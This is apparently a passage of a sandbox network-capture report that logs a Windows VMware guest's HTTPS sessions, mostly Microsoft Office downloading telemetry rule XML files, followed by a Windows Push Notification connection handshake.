2024-11-19 00:01:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3b26cc7f-901e-007b-713f-38ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000116Z-17cf5b775c4jp6njhC1DFW19kn00000000m000000000hh72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:17 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000117Z-16547b76f7fgfpmjhC1DFWw6ec00000005vg000000011d4a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000117Z-16547b76f7fljddfhC1DFWeqbs00000007ag00000000h6h6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:17 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a5983e6-f01e-001f-229b-365dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000117Z-17cf5b775c4qqs2shC1DFW48m000000000m0000000003ybm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:17 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:17 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000117Z-r18f44ddb69pgpd4hC1DFWgac800000000kg00000000rq3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:17 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000118Z-16547b76f7fmcv27hC1DFWgpcg000000059000000000hatb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:18 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000118Z-r18f44ddb69pgpd4hC1DFWgac800000000mg00000000nvsq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:18 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000118Z-16547b76f7fgvq8chC1DFWhd2w000000071g00000000q446 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:18 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c1061624-501e-008c-1ca4-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000118Z-1866b5c5fbbr78bbhC1DFWqz2n00000006pg00000000df54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5ed283f4-c01e-0082-577f-38af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000118Z-r18f44ddb695qphdhC1DFWpmx800000000dg000000009xm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49734	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 49 66 6f 67 61 50 4f 7a 52 6b 4f 71 4a 59 33 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 32 30 65 39 64 66 32 31 65 35 61 36 38 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: IfogaPOzRkOqJY37.1Context: de20e9df21e5a68a
2024-11-19 00:01:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 00:01:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 49 66 6f 67 61 50 4f 7a 52 6b 4f 71 4a 59 33 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 32 30 65 39 64 66 32 31 65 35 61 36 38 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 70 49 5a 68 4f 45 57 74 71 45 51 48 4a 42 55 30 41 43 72 6b 32 48 6e 48 45 2b 37 77 67 56 73 76 44 79 35 54 5a 43 64 57 37 39 4d 5a 43 58 74 37 52 35 77 34 30 54 6a 42 52 41 58 37 4c 73 4f 57 53 79 6b 76 49 62 4d 30 71 55 55 69 72 50 37 4e 2f 61 51 55 2b 44 36 41 57 6b 79 53 66 50 6b 74 4b 71 53 6b 59 45 39 62 41 66 58 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: IfogaPOzRkOqJY37.2Context: de20e9df21e5a68a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAepIZhOEWtqEQHJBU0ACrk2HnHE+7wgVsvDy5TZCdW79MZCXt7R5w40TjBRAX7LsOWSykvIbM0qUUirP7N/aQU+D6AWkySfPktKqSkYE9bAfXB
2024-11-19 00:01:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 49 66 6f 67 61 50 4f 7a 52 6b 4f 71 4a 59 33 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 32 30 65 39 64 66 32 31 65 35 61 36 38 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 